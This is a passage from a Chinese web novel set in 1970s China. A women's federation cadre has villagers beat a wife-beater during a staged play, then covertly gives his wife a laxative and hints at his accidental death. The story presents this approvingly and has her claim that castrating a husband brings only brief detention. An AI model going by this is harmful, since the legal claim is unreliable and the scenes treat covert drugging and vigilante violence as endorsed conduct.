她过来询问是怎么回事,赵桂枝拉着她就放声大哭,向她诉说自己的委屈,并向她展示自己胳膊上的伤,看着那青一块紫一块的皮肤和那暗黄的脸色,宋知南义愤填膺:“领袖说了,妇女能顶半边天。现在竟然有人要一手遮天,迫害女同志。我们绝对不能姑息这种坏人。俗话说,恶狗怕揍,恶人怕斗,我今天要跟他斗一斗。” 宋知南说着一个箭步冲到王大力面前,一个大耳刮子兜扇过去,把田大力的脸扇歪向一边。 王大力懵了,周围的人也懵了:你是真下手呀,而且还打脸。 宋知南向来讲究对称,又一个大耳光把角度扇正回来。 扇完两巴掌,她才开始骂人:“田小力,我打你是为了让你清醒,让你知道,你挨打也会疼。” 王大力这时终于反应过来了,跳起来就要还手:“姓宋的,我没得罪你吧,你就这么下死手,我跟你拼了。” 宋冬宝和大公鸡一起拉住他小声劝:“演戏,这是在演戏。” 王大力一个扑棱甩开两人:“老子不演了,啥破玩意儿,我被一个娘们打脸了,我的脸面往哪儿搁?” 宋知南可不能让他走,一声令下,“民兵连呢,你们愣着干嘛?动手打啊。” 宋冬宝恍然大悟,第一个动手开打,接着是牛奔他们。 朱大海兄弟俩对视一眼,他们也是戏里的民兵,打王大力一顿合情合理吧?公报私仇就在此时,真是老天开眼,宋队长竟然选他们当民兵。 李铁锤一看别人都出手了,他也不能闲着。 一大群人把王大力围在中间狠揍,大家都是有分寸的人,也不打脑袋等要害部位,就朝他屁股上猛踢猛打。 “哎哟,我的娘哎,哪个王八蛋踹我。” “你们别打了,我不演了。” 没人理会他的哀嚎。 宋知南听着王大力的惨叫声,越听越高兴。 她看向赵桂枝,对方没有一点心疼王大力的意思,眉宇间还有一丝暗戳戳的兴奋。 好,有前途。她是真怕再出一个王招弟。 其他村民们也咂摸出一点别的味道来了,不过,这个王大力确实不是什么东西,看他挨打还挺痛快。 大队长李大河觉得再这样打下得出事,便大喝一声:“住手,都给我住手。” 参与揍人的民兵们只好意犹未尽地停了手。 王大力此时躺在地上不停地呻、吟,赵桂枝假模假式地扑上去:“当家的,你咋样了?” 说着,她专门挑伤口掐:“你这里疼得厉害不?那里呢?” 王大力疼痛难忍,抬手就去打赵桂枝,宋知南眼疾手快,一把扥住他的胳膊用力一掰,王大力嗷嗷惨叫。 宋知南一边拽着王大力开始了文戏:“王大力同志,我们打你都是为了你好。我怕你这样天天打桂枝姐,她哪天实在忍不下去了,趁着你睡着,咔嚓一声把你剪了。你们知道宋一剪的事迹吗?那就是我亲哥。 我哥跟我嫂子吵架,吵着吵着就动手打我嫂子,把我嫂子打急了,他睡着时,我嫂子拿把剪刀咔嚓一下。我那可怜的哥哥从此以后就没了根儿。他没了那啥之后觉得自个儿没脸活着了,再加上邻居们异样的眼光,他就疯了,疯了之后就把我爸杀了,把我弟也给捅伤了。我说的都是真事,不信你们可以去打听打听。” 众人面面相觑,这个新闻他们还真听说过,但主人公具体姓甚名谁他们没记住。没想到新闻中的主角就在他们身边。 村民们有时是非常善良的,他们纷纷过来安慰宋知南:“宋同志,你想开点。” 宋知南擦了一下并不存在的眼泪:“嗐,厂里领导天天劝我,文工队的队员也天天安慰我,我现在已经慢慢走出来了。可是我真不想让大家伙步我家的后尘呐,我家警钟长鸣,警钟而谁而鸣,就为你们而鸣。” 宋知南说到这里,松开了王大力的胳膊,拉着赵桂枝的手说:“赵姐,你这次听我的,千万别学我嫂子那样,不要趁着王大哥睡着时,你把他咔嚓了。你剪了他虽然不判刑,但是你还是得进局子里呆个十天半个月,关键是从此以后你的名声也坏掉了,男人们见着你就躲。你可不能犯糊涂呀。” 赵桂枝目光闪烁,原来把男人那里咔嚓掉不用判刑,只需要在局子里半个月就行了?还有这等好事?怎么以前就没人告诉她呢? 宋知南劝完赵桂枝,接着劝王大力:“王大哥,你以后别打赵姐了好不好?你管不住你的手,她也管不住握剪刀的手,万一你真成了太监可怎么办?你想想看,到时候,你的脸往那儿搁,你的脊梁骨是不是得被戳烂了,你这一辈子就完了呀。” 王大力躺在地上直翻白眼。 大家听了一遍,还是没听够,围住宋知南打听。 宋知南像祥林嫂似的,说个不停:“真的,我真傻。我单知道我哥快疯了,没想到他疯得那么快。 那天,我跟队员们去下乡演出,乡亲们对我们非常热情,临走时送了我们好多东西,大家说说笑笑往回走,走到半路,我们厂保卫科的刘哥来了,他告诉我说,我哥把我爸捅死了,把我弟捅伤了。我一回去,我爸已经躺在太平间里了,身上还蒙着白布,我整个人都是蒙的,我刚参加工作,还没来得及孝顺他……” 村民中有心软的老太太已经开始擦眼泪了:“可怜的小宋,你的命好苦哇。” 赵桂枝也跟着啪啪掉眼泪,宋同志为了自己,把她家的伤心事都说出来了。 宋知南继续说:“我爸死了,我妈心如死灰,去边疆我姨那边改嫁了,丢下我们姐弟三人。” “一切的一切的起因都是我哥和我嫂子的那场打架,他们不打架,我嫂子就不会生气,不生气就不会咔嚓一下,不咔嚓那么一下,我哥到现在还是好好的就不会疯,不疯就不会杀死我爸,我家到现在还是整整齐齐的。真是一失足成千古恨,再回头已没了根。你看男人一时管不住自己的手,害人害己害家人。” “宋同志,你真可怜,呜呜。” “冬宝,你也好可怜。” …… 宋知南在人群中找到大队的妇联主任王玉梅,拉着她的手恳切地说道:“王姐,你是妇联的,我也是。我告诉你,有些事情你该管就得管,真等出了事你后悔也晚了。像我现在再悔恨也无济于事。” 王玉梅连声说:“其实我劝过的,我也管的。” 宋知南摇头:“你管的力度太小了,我听说珠窝大队的妇联主任遇到村里打媳妇还死劝不改的,直接叫民兵把人捆在树上用鞭子抽。” 王玉梅:“……” 宋知南在这边劝王玉梅,牛春草则在劝大队长李大河,李大河频频点头。 人打完了,也劝完了,戏也演完了。乡亲们还是不肯散去。只有王大力一瘸一拐骂骂咧咧地走了。 宋知南借着整理东西的时候,在系统商城用杠精值兑换了一颗大力丸,再兑换了一瓶麦乳精和一包泻药。 她把大力丸捏碎了放在麦乳精里,准备拿给赵桂枝吃。 赵桂枝听说宋知南她们马上要离开,,快步跑回家去,收拾了一包东西硬塞给宋知南:“宋同志,我们乡下不比你们城里,没啥好东西,这些都是我们本地的特产,你别嫌弃。” 宋知南收下了东西,把麦乳精和泻药送给赵桂枝,赵桂枝一看这么精贵的东西,坚决不要:“这么好的东西,我不能要。” 宋知南说:“赵姐,我学过一点中医,我看你因为日子过得担惊受怕,气血两亏,你必须得补补。这麦乳精里有我找老中医配的药粉,是强身健体用的,喝了之后胃口会变好,身体会变得有力气。你每天一勺。尽量只给自己喝,因为这是给成年女人补身体用的,男人孩子喝了都不好。这个泻药是治疗便秘的,喝完会窜稀,全身无力,其实巴豆也可以便秘,你以后注意些。” 赵桂枝立即心领神会,这泻药是给王大力准备的。 宋知南把东西硬往赵桂枝怀里一塞,小声嘱咐道:“喝了它你的身体会慢慢变好,说不定你就能打得过王大力,再也不怕他了。还有,无论何时,你都不要放弃自己,只要不死都会熬出头。我老家那里有一个女人跟你差不多,后来她男人大冬天的喝醉了,在雪地里睡了一夜,第二天就没了;还有一个男人,失足掉粪坑里淹死了……” 赵桂枝认真地听着,这下她也不推辞了。 她动容地说道:“宋同志,你真是个好人,我这辈子都会记住你的好。你能不能告诉你的地址,我想有空了去看你。” 宋知南从书包里掏出笔记本刷刷写下地址,撕下来递给赵桂枝,赵桂枝接过来,折叠好,小心翼翼地放在衣兜里。 大家收拾好道具和东西,准备回去了。村民们还挺不舍得,最不舍的是赵桂枝,送出去三里地还不肯回去。 宋知南拦住她:“赵姐,你不能再送了,你送远了,我们还得送你回来。” 赵桂枝擦擦眼睛:“行,我就送到这儿吧,你们路上小心些。” 赵桂枝站在原地,目送他们离开。大家伙骑了一段路,回头一看,赵桂枝还站在那儿。 牛春草也挺感动:“这个赵桂枝真让人心疼啊。” 李群英沉默了一会儿,说:“我感觉被压迫最狠的是农村妇女,她们真的没有一点退路。” 宋知南说:“不是你感觉,是本来就是。她们被家暴虐待,除了忍,就是死,农村妇女的自杀率一直居高不下。” 一直到很多年后,农村人口可以大量进城打工,她们悲惨的命运才有了转机。 大的历史进程她改变不了,但遇到个人,她是能帮则帮。海滩上搁浅的鱼是有很多,她往海里扔一条是一条,因为那条小鱼在乎啊。她扔小鱼时,自己也很有成就感。 第110章 大家一路上都在讨论刚才发生的事, 做为初入场的新人,章无双满肚子的疑问。 “南姐, 以后咱们下乡演出再遇到这种事,都要帮忙打回去吗?” 宋知南摇头:“当然不能,一个不好,咱们是会被村民围攻的。今天这个是例外。” 她打之前打听了一下,王大力家里人口不多,在村里人缘一般般,倒是赵桂枝人缘不错,有不少村民同情她的遭遇。 哪怕后来大家看出了端倪,但也装作不知道,也没插手帮忙。她们要是打了一个号召力强,家里兄弟多的人那情况就不一样了。 李群英心中也有疑问:“你说, 我们怎么就没遇到过几个结婚后过得幸福的女人呢?翠花姐、王小雪、田容还有那个魏芬, 她们明明人都挺好, 嫁的人家也不一样,可就是不幸福。这到底是什么原因呢?” 牛春草语气平淡:“大家不都这样吗?把老头子熬死之后就幸福了。” 众人:“……” 牛春草笑了一下, “你们还是太年轻, 等到了我这个年纪就知道了。”顺利退休又死了老头的老太太才是最幸福的,从来没有如此自由自在过,想着想着,她又忍不住嘎嘎乐了几声。 宋知南一本正经地回答了李群英的问题:“群英的提问触及到根本性的社会制度了,如果一项制度让大多数人都不幸福,那么错的不是人,而是这项制度。” 其他人没说话, 牛春草先开口制止:“小宋,咱们是普通老百姓, 莫谈政治,莫谈制度。大家还是想想今晚吃什么?三八节的节目怎么演吧?” 这要是被居心叵测的有心人给举报了,说宋知南攻击现行社会制度就麻烦了。 宋知南对李群英笑笑:“行,不谈制度,以后再聊。” 从南郊生产队回去后,文工队没接别的演出,开始为三八妇女节文艺汇演准备。 明天是三八节,厂里已经通知了,女职工放下午半天假,各单位女工统一到市文化宫大礼堂去看文艺演出。 星星之火文工队则在进行着紧张地排练,宋知南特意让人去通知大伯母和宋湘,说要请她们看演出。两人本来也打算去,收到邀请还是挺高兴。 何梅到处跟人说,自己侄女宋知南明天有演出。 王翠花也放假了,宋知南也邀请她回来参加演出,她欣然答应。 同时她还兴奋地告诉大家伙:“我七姨姥姥和表舅妈她们也来看演出了。” “哇,那你明天要好好表现。” “肯定的,就是这么多人看,我有点紧张哎。” “别紧张,听小宋的,就当观众都是土豆。” “哈哈哈。” 大家嘻嘻哈哈的,倒是缓解了紧张的情绪。 排练一阵,大家开始坐在一起商量要上报哪些节目,因为时间有限,每个单位只能报三个节目。 大家伙觉得哪个节目都挺精彩,拿掉哪个都不舍得。 大家踊跃发言,各抒己见。 “我觉得《荒唐的婚闹》得有,这个节目很有教育意义。” “《乡下媳妇城里郎》也得有,这个也很典型。” “我提议小宋的快板必须得上,她这个节目有趣有内容还特别。” …… 大家拿不定主意,杨主席和贺主任正好来看她们排练,宋知南就顺便问问她俩的意见。 两人商量了一会儿,说道:“就按你们所说的,把这三个节目报上去,有特色又有意义,正好适合三八节来演。” 杨主席说到这里,又笑着对宋知南说:“小宋,你要是有余力,就再为三八节准备一段新快板,或者准备篇演讲稿。” 宋知南一听领导要给自己加戏,她不假思索地答应道:“杨主席,没问题,我准备就是。” 贺主任夸道:“我就喜欢小宋这性子,爽快,当仁不让。” 杨主席也夸:“谁不喜欢呢?” 她决定了,这次宋知南这次表现好了,她就再郑重地推荐她一次。她们妇联出了这么好的苗子,有能力又能担事,就得好好培养。她们不推荐,难道指望那些男领导推荐? 宋知南一边监督大家排练,一边构思新快板和演讲稿。腹稿打好,她回家就开始奋笔疾书。 宋知夏和宋冬宝来给她送吃的,两人见她这么用功,不由得暗暗佩服。宋知夏决定以后也要多看书多学习,向妹妹看齐。 宋冬宝却觉得他们家的男孩子读书都不行,还是那句话,慧的都是没根的。他不是学习的料。 写完演讲稿,宋知南洗漱完毕,进入了黑甜的梦乡。 次日清晨,宋知南一醒来,就听见李群英在外面邦邦敲门。 宋知南一边刷牙一边去开门,李群英用托盘托着油条豆腐脑鸡蛋进来了。 “我妈请的,她让咱俩吃饱了好给她挣面子,今天她的姐妹和老领导都去看演出。” 宋知南漱完口,说道:“你让黄阿姨放心,今天咱俩一定会让她很有面子。” 两人一起坐下来吃早餐。 李群英边吃边说:“我还是有点紧张,参加演出的单位还有县里的文工团,咱们真能行吗?” 宋知南不在意地说:“大家都是草台班子,咱们要不行,他们更不行。自信点。” “还好我参加的是群体演出,大家可以攒鸡毛凑胆子。不像你,还有个人演出。” 宋知南:“我个人演出更风光,你等着吧,这次演出结束后,我的名声会更上一层楼。” 宋知南在李群英面前,从不掩饰自己对于名利的渴望。 时间一长,李群英也觉得这是正常的。 “那是肯定的。” 两人吃完早饭,收拾妥当,推着自行车出门。 到了纺织厂礼堂,她们发现大家早到了,就等她俩了。 “快,收拾好服装和道具,咱们得赶紧出发。” 演出时间是下午1点到3点,她们得提前过去准备。 宋冬宝今天请了一天假跟着一起去市里,她们队的男演员就是宋冬宝牛奔和大公鸡。 三个人在队里非常老实,一般是多干活少说话。宋冬宝和牛奔是在自己家里被训练出来了。 而大公鸡则是自己看得开,什么主义口号,那些都是虚的,拿到手的实惠才是真的。他现在没工作没收入,好不容易有个有意思又有实惠的副业,他是傻了才因为一些闲言碎语不干。 别人笑话他被女人管,他则淡然一笑:“被男人管跟被女人管有啥不一样吗?不都是被人管吗?你有种别被任何人管。” 对方只能尴尬地笑笑。 还有人问他有没有被宋知南欺负打骂。 大公鸡阴阳怪气地回道:“没有过,她很公平地对待我们三个,该有的一样不少,你们被骂是因为你们该被骂。” 大公鸡的这些事牛奔告诉了牛春草,牛春草又告诉了宋知南。 宋知南笑着夸道:“小宫同志跟别的男人不一样,这人有智慧有脑子有眼力架儿。” 大公鸡听到后,心里美滋滋的,被领导夸了能不美吗? 一个小时后,一行人到了文化宫。这次文艺汇演的总负责人是市妇联的于主任。 她过来告诉宋知南:“小宋,我把你们的节目排在了最后,是压轴哦。” 宋知南:“谢谢于主任的信任,我们一定好好演。” “我相信你们能行。” 于主任要忙的事情很多,也顾不上跟宋知南闲聊,说完正事就匆匆离邢。 她们这帮人熟悉熟悉舞台,试试道具,再提前排练一下,很快就到了中午,于主任安排到大家到文化宫的食堂吃午饭。 下午一点钟,演出正式开始。 别的单位的演出节目,大多平平无奇,有个人独唱,有大合唱,有舞蹈,演出节目多是样板戏。这几年,大家天天看这几个戏,看得够够的。不过还是挺给面子的,掌声挺热烈。 很快就轮到宋知南她们了。 主持人那清亮的声音响了起来: “接下来有请红星服装厂星星之火文工队为大家表演节目,大家给点掌声鼓励鼓励她们。” 如雷般的掌声响了起来。 何梅一边鼓掌一边大声对左右喊道:“大家快看,我侄女要出来了。” 第一个节目是宋知南的快板,就是她去年在国庆庆典上说的那段,大家都觉得放在三八节汇演上特别合适。 宋知南穿一身崭新的绿军装,腰束一根棕色宽皮带,身姿挺拔,精神抖擞。这身军装是杨主任从她侄女那儿借来的。 宋知南大步流星地走上去,往舞台中央一站,手中的竹板啪地一打,便朗声说了起来: “秋高气爽天空蓝,我是妇联宋知南。” …… 宋知南说一段,大家鼓一会儿掌笑一阵,一段快板停顿了几次。 快板说完,大家热烈鼓掌,还有人大声喊道:“说得好说得好妙,再来一段。” 宋知南微微一鞠躬,笑着说道:“那我就应大家要求,再来一段。 “风和日丽天气暖,我是妇联宋知南。” “哈哈哈。” 一阵欢快的笑声响了起来,从今天起,她们都记住了宋知南的名字。 宋知南继续往下说: “一年一度三八节,我来上台说一说。 姐姐妹妹亲大姨,你们过得不容易。 一碗豆子两碗米,家里家外全靠恁。 娘家说你是泼出的水,婆家拿你当外人。 依靠男人都是假,睁大双眼不要瞎。 天下下雨地上滑,自己跌倒自己爬。 高山顶上母鸡叫,我今天就要起高调。 粉碎传统旧观念,社会主义百花艳。 我们女人要参军,守护祖国铁大门。 我们女人要从政,从头到尾思想正。 …… 我们发出战斗的誓言,预告灿烂的明天。” 这次的掌声更加热烈长久,笑声险些把文化宫的屋顶给掀翻了。 纺织厂的女同志们笑得直不起腰来,上次这么开心还是上次。 快板之后是另外两个节目,现在场子已经被宋知南预热了,大家伙也不像刚才那么紧张了。 大家圆满地完成了这两场演出,观众们鼓掌欢呼。 演出结束后是颁奖典礼,中间留出20分钟,以便观众和演员休息和上厕所。 观众们热烈地讨论起来:“最后一场的节目都是原创吗?” “是的。是不是让人耳目一新?红星纺织厂真有两下子。” “那个妇联宋知南太有意思了,这姑娘的话听着真有精气神儿。” “听说她本人可带劲了。” 杨主席和贺主任也在观众席中,她们的嘴角一直往上翘着。 是金子总会发光的,瞧瞧今天,宋知南这块金子亮得刺眼。 10分钟后,大家陆续返回座位。 主持人开始公布奖项,先是集体奖,县委文工团是一等奖,星星之火是二等奖,三等奖有三个,钢铁厂也在其中。 集体奖之后,是节目奖。《婚闹》获得二等奖,《宋知南说快板》荣获一等奖。 文工队获得了一面锦旗和十块钱。宋知南得了一个搪瓷缸子和一个厚笔记本。 颁奖之后,还有一场宋知南的个人演讲。 宋知南也不拿稿子,直接上台就讲。 “我今天说的是我家的事,家事国事天下事,咱们事事都要关心;我家的事,属于天下事的一部分。 这里面牵扯到我去世的父亲,远嫁的母亲和死去的哥哥,是我们家久久不能愈合的伤口,但我今天还是要在这里撕破这个伤口。 因为我是妇联干事,我一颗公心为人民,没有一点私心,我想让大家从中吸取教训。 我家这起惨剧的根源就是父母偏心,我哥哥从小倍受宠爱,养成了自以为是、好吃懒做、唯我独尊的性格。他的性格造成他后来的悲剧,他出了变故,身体残缺了,心灵也随之残缺了。 最终,他发疯杀死了我的父亲,也杀死了自己。 我在此呼吁各位家长:当父母的千万不要偏心,不要重男轻女。 父母一偏心,子女必离心;重男轻女,你伤害了女儿,也间接害了儿子。 凡是父母偏疼的儿子没有一个孝顺的,也很少有出息的。 宠狗上灶,宠子不孝,惯子如杀子。 兄弟姐妹之间的关系不和睦,祸根也在于父母的偏心,不患寡而患不均。 你也别说让孩子体谅父母,她一个孩子怎么可能想那么深?说这种话的人要将心比心,你单位领导偏心,你心里怎么想?你能没怨气?你一个成年人都做不到体谅领导,为何去要求一个孩子去体谅父母? 以上这些话,是我做为一个女儿一个妹妹想对大家说的话。 领袖说妇女能顶半天边,我希望有些人不要试图去遮这半边天; 歌里唱孩子是祖国的花朵,我希望所有的花朵都能沐浴到阳光; 太阳无私地照耀大地,我希望天下的父母能一视同仁地对待女儿。 人人心里一杆秤,真心假意我们分得清。 父母的心不能歪,否则欠的都是儿孙债。 大家做人不要太假,因为我们谁都不傻。 我家警钟长鸣,为谁而鸣,就为你们而鸣。” 掌声,如暴风雨一般的掌声响起来,久久不歇。 今天大家伙不但记住了妇联宋知南,还记住了警钟宋知南,以及钟鸣鼎食之家宋家。 110-120 第111章 宋知南的演讲为三八节文艺汇演, 画上了一个圆满的句号。 妇联领导很满意,今年的节目挺圆满;各位观众也很满意, 今年的节目花样真多,让人印象深刻;红星纺织厂的女工们满脸带笑,今天她们红星真是有面儿啊。 红星纺织厂、宋知南成了今天的热词,被提及的频率相当高。 何梅和宋湘这会儿也成为了人群中的焦点。 “老何,你这个侄女不简单啊。” “是啊,她来过咱们单位吗?” “没有,这孩子身兼数职,忙,走不开。” “这孩子也真够可怜的,爸没了,妈也改嫁了。” “是啊, 所以我跟她大伯经常照顾她们三个。” 宋湘那边也跟何梅差不多。 “湘湘, 宋知南是你堂妹?她人可真精神。” “下次有空让她来咱们服装厂呗。” 宋湘矜持地笑笑:“行, 等哪天我问问她有没有空。” 红星纺织厂的女工也被很多人搭话。 “这些节目你们经常看吗?” “经常看,我跟你们说, 因为演出时间有限, 只演了三个,还有很多新的没演呢。” “哇,下次我们能去你们那儿看吗?” “能啊,就是你得早来,来晚了就没位置了。” 大家说说笑笑,现场十分热闹。 《青阳日报》、《青阳晚报》以及各县报的记者纷纷上来采访拍照。 有人去采访于主任,有人去采访获奖者, 还有人去采访现场观众。 一个姓胡的记者挤过人群来采访宋知南:“宋同志你好,我想采访一下你。” 大家的目光刷地一下聚集过来。 宋知南坦然自若地朝这个记者一笑:“可以。” 胡记者显然是有备而来, 他掏出小本本,开始提问: “宋同志,我看过你以前写的文章,有人评价说,你的文章文风大胆心思险恶,充满着对男人的偏见。你对此怎么看?” 哄闹的现场突然安静下来,大家用诧异的目光看着这位胡记者,这人问的问题好尖锐呀,这哪是采访,这是来吵架的吧? 宋知南上下打量了一通胡记者,此人二十七八岁,长相普通,看着挺斯文,得,又是一个斯文败类。 宋知南淡然一笑,朗声回答道:“这位记者的用词也是别有用心,充满着对我的偏见。” 杠精值30。 胡记者刚要开口反驳,宋知南接着又问了一句:“不都说记者都客观公正吗?就是这么个公正法?” 胡记者飞快地接道:“宋同志,刚才那句话不是我的原话,是别人对你的评价。做为一个作者,你得勇于接受别人的批评是不是?” 宋知南反问道:“那么请问这句话是谁说的?你说出姓名和单位来,我想向他请教一下,问问我哪些话是别有用心?” 胡记者:“我不能说,但我肯定有人这么说过。我还听人说,你这人平常总喜欢攻击别人,在单位树敌无数,就是狗掀门帘,全凭一张嘴。” 现场一片哗然,人群中的何梅忍无可忍,大声骂道:“我看你这个记者是狗嘴里吐不出象牙。” 大家大笑起来,接着你一句我一句地开始批评胡记者。 “你哪是记者,你是故意找茬的吧?” “肯定是。” “今天是我们女同志的节日,你倒好,专门来给人添堵。” …… 宋知南不急不怒,淡定从容地说道:“胡记者,这话不是别人说的,应该就是你说的。我看你就是老头屋里的夜壶,满肚臊气还没嘴。热水瓶摔破了,没胆,因为你都不敢对自己的言论负责,敢说不敢认,你肯定不是男人,当然也不是女人,那你是?” 杠精值加60。 宋知南嘴巴一张就是颗炸弹,炸的胡记者灰头土脸。 现场爆发出一阵大笑。 其他记者也不采访别人了,都过来看热闹,顺便也来采访几句,他们硬把胡记者给挤到一边去了。 宋知南一看,哟,这都成记者招待会了。 名作家哪能离开记者招待会?既然早晚都得开,不如现在就提前练习练习。机会总是留给有准备的人。 宋知南主动跟这些记者打招呼套近乎:“你们都是无产阶级的同志,都是正常人。我愿意跟你们和平交流。你们有谁想采访我吗?” 现场又响起了一阵笑声,礼堂内充满了快活的空气。 有个女记者问道:“宋同志,你们的节目我看了,演讲我也听了。我觉得你是一个充满战斗精神、个性鲜明的同志,你在现实生活中是不是经常遇到刚才的那种刁难?” 宋知南朗声回答:“我脚脚走在路中央,不怕别人说短长;我心正人气旺,不怕狗汪汪。” 女记者忍着笑,刷刷记下这几句话,她接着问道:“请问宋同志,你对刚才的胡记者如何评价?” 宋知南看了一眼灰头灰脸、气极败坏的胡记者,大声说道:“我用我灵敏的革命直觉判断,他这人是歪嘴吹喇叭,一身邪气;他说的那些话就像是王八吃了烂柳条,嘴挺能编但编不出好东西来。” 杠精值加60。 现场再次爆发出一阵大笑声,听文化人骂人就是有意思,不带脏字但能把人气个半死。 人群中的胡记者只觉得眼前阵阵发黑。他试图挤上前去,好好地跟宋知南掰扯掰扯,何梅李群英等人早就在盯着他,大家硬挤过去,一起朝他发难。 何梅斜着眼问他:“胡记者,你这采访水平真不咋地,你是走后门进的报社吧?” 李群英冷笑道:“我看肯定是,就这水平还敢出来采访,真不怕丢人。” 何梅看李群英挺顺眼,就问了一句:“姑娘,你也是红星的吧?” 李群英骄傲地说:“是的,我也是星星之火文工队的,还是宋同志的邻居兼好友。” 何梅一听是侄女的邻居,笑容都变多了,她得意地说:“我嘛,是宋知南的大伯母,是亲的哦,不是表的堂的。” 李群英:“……” 两人套完近乎,想起还有一个共同的敌人没对付完呢,就继续骂胡记者。胡记者惹不起她俩,赶紧挤进人群溜走了。 胡记者在人群中钻了一会儿,最后站在了两个看上去人畜无害的女孩旁边。 谁知其中一个女孩盯着他看了他一眼,突然问道:“你受了谁的指派来给宋同志添堵?” 问话的人正是何黛,她旁边站着的是章无双。 章无双见到胡记者,也朝他进攻:“姓胡的,你再欺负宋同志,我就、我就亲自打你。” 胡记者:“……” 现在的女同志都是怎么了?哪怕表面上看着再天真无害的女孩狠起来也那么可怕。 胡记者到处躲藏,而宋知南还在继续召开记者招待会。 女记者连问了几个问题,有个男记者等不及了,硬挤进来提问:“宋同志,我听说你的工作方式相当激进,引起了职工的不满,纺织厂的领导给你做思想工作,每次都被你杠得头痛,请问有这回事吗?” 宋知南很有风度地说道:“卖布的没剪子,你净胡扯啊。我们领导是出了名的思想先进解放,不拘一格用人才。你们能想像我这种性格的人在我们纺织厂如鱼得水吗?我偶尔会杠他们,但他们从不给我穿小鞋从不打击报复,我听他们那意思还要往我肩上加重担,你说这样的领导上哪儿找?你们厂里有吗?” 杠精值加30。 众人迟疑了一会儿,稀稀拉拉地回答道:“有吧。” 那个记者还想继续提问,他身后一个身穿格子外套,梳着两条黑亮大辫子的女同志早不耐烦了,用健壮的身板把他挤到一边去,大声说:“今天是妇女节,你们这些男的净问些糟心的问题,你起开,让我来。” 那记者不满地嘟囔了一声,但也不敢犯众怒。 那位女同志高声提问道:“宋同志,我是你的同行,我是青红县青河公社的妇联主任,我想问你一个问题,我们公社的妇联权力不大,遇到夫妻矛盾婆媳矛盾,只能用嘴劝,收效并不大,有人就说咱们妇联就是个摆设,我听着难受,但也不知道说啥。宋同志,我想知道你是咋看这个问题的?” 有这个困惑的人不止这位女同志,她们全都用炯炯的目光盯着宋知南。 宋知南和气地问道:“这位同行,你叫什么名字?” “我叫华小方。” “好,华小方同志。你的这个困惑我也曾经有过,但我很快就想明白了。我的看法是,妇联的存在有着极大的意义,不论是村里是公社还是城里,每一级都在发挥着她的作用,可能在别人看来她的作用不大,但没关系,事在人为。 咱们不要以为渺小的就没有力量,星星之火,可以燎原;金刚虽小,能搅大瓷器;火柴个小,但能点燃大柴堆。你出一点力我出一点力,这个世界将会变得更美丽。” 这话说得押韵又好听,掌声热烈,欢声如雷。 其他同行也纷纷上前发表各自的见解,现场氛围相当热闹。 一个小时后,宋知南终于有空喝上了茶水,嘴都说干了。 她刚挤出人群,王翠花就迫不及待地拉着她说道:“小宋,我七姨姥姥想见见你,等了半天了,你能跟她说几句话不?” “当然能。” 王翠花的七姨姥姥今年六十多岁,头发花白,行动不便,但精神十分矍铄。 老人家用力握着宋知南的手,笑着说:“小宋同志,我可是早就听说你的名字,今天一见,真是名不虚传呀。” 宋知南:“过奖过奖,我时常听王姐提起您老人家。” 七姨姥姥名叫朱敏,她身边还有一个比她还精神的老人家,此时正用炯炯有神的目光打量着宋知南。 朱敏跟宋知南聊了两句就赶紧给她介绍:“小宋,这位是周宴清周老同志,她这人可了不得,她退休前是咱们省的妇联主席,她还见过邓大姐,邓大姐还跟她握过手呢。” 宋知南哇了一声,两眼放出光芒,她上前握住周宴清的手:“周同志,你见过我想见的人,真羡慕你。” 周宴清鼓励道:“你好好干,说不定以后也有机会见到邓大姐。” 宋知南又问:“那您还能再见到她吗?” 周宴清:“这我不敢保证,邓大姐日理万机,工作繁忙,咱们哪能想见就能见。” 宋知南打蛇随棍上:“我给她写一封信,您能不能替我转交?” “啊?” 宋知南:“咱们妇联工作者薪火相传,生生不息。我要继承你们上一辈的精神,高举妇女解放的大旗继续前进,我需要你们这些前辈和精神领袖的指导和鼓励。” 七姨姥姥朱敏在旁边说:“老周,你不是还有老朋友在首都吗?你托托人,说不定真能把信送到邓大姐那儿,这是来自人民群众的心声,值得重视。” 周宴清考虑片刻,点头答应:“那行吧,咱们先说好,我只能答应你尽量做到,要是真的送不到,我也没办法。” 宋知南感激地说道:“我能理解的。” “那我什么时候方便送信?” “下周二吧,我正好来这里有点事。” 宋知南回去就开始给邓大姐写信,这信可不好写,现在是非常时期,她跟总理都受到了不同程度的波及。 她的信必须得绝对的政治正确,因为可能中间会有无数人拆阅,最后也不一定能到邓大姐的手上。 信还要写得有内容有趣味,写出她的仰慕敬佩之情,和她对未来妇女工作的展望和一点建议。比如妇联工作坚决要妇女自己来管,关注农村妇女的权益问题,保障家庭中妇女儿童的权利等等。 写完后,宋知南拿去给谈书记审阅。 谈林听说宋知南要给邓大姐写信,不由得目瞪口呆:“你是真敢想啊。” 宋知南一脸严肃:“革命理想,就得敢想;一生很短,我得大胆。” 第112章 谈林说道:“可是, 就算你写了信也不一定能送到邓大姐手里。” 宋知南:“但是我不写,是绝对不可能送到她手里的。万一她能收到了呢?” 谈林无奈地说:“好吧, 你自己看着办就好。你这封信,我没看出有政治问题。” 宋知南接着又去向孙副厂长请假,其实宋知南是有一定自由的,她根本不需要向孙副厂长请假。 但这次意义不同,她要去见周宴清,还要给邓大姐写信,这厂里谁有她这样的殊荣?不得显摆显摆?跟职工显摆容易遭人妒忌,跟领导显摆有好处,顺便让他们知道你的能耐和特殊。 孙副主席听罢,鼓励了宋知南两句:“行吧,你去吧。” 宋知南从厂里出来的时候, 刚好遇到谈林的助理兼司机小朱, 他们开着厂里的破吉普车, 看样子要去开会。 小朱停下来跟宋知南打个招呼:“宋同志,你这是要去哪儿?” 宋知南云淡风轻地说:“我跟省妇联的前主席周老同志约好了, 我们要谈点工作上的事。我已经跟孙厂长请完假了。” 谈林看了宋知南一眼, 说了声:“你也上来吧。” 宋知南爽快应道:“谢谢谈书记,我正好不用挤公交了。” 她拉开车门坐在了副驾上。 小朱一边开车一边跟宋知尬聊:“宋同志,我听说你在三八节上的演讲特别好,大家都夸你。” 宋知南谦虚:“嗐,就还行吧。大家伙给面子,愿意鼓励新人。” 小朱:“宋同志,你的文笔挺好, 写的文章也好。” 宋知南:“朱同志,你太客气了。你的开车技术真好。” 小朱嘿嘿笑了几声。 一路上, 谈林几乎没怎么说过话,似乎在闭目养神。 到了市政府门口,小朱把车停下,宋知南也下来了。谈林夹着公文包下车。 他进去开会,小朱就在外面等着。 谈林一离开,小朱说话也随意多了。 “宋同志,你下午几点回去?要是时间差不多,我们可以把你捎回去。” 宋知南反问道:“谈书记几点开完会?” 小朱不太确定:“三点钟之前应该能开完吧。” 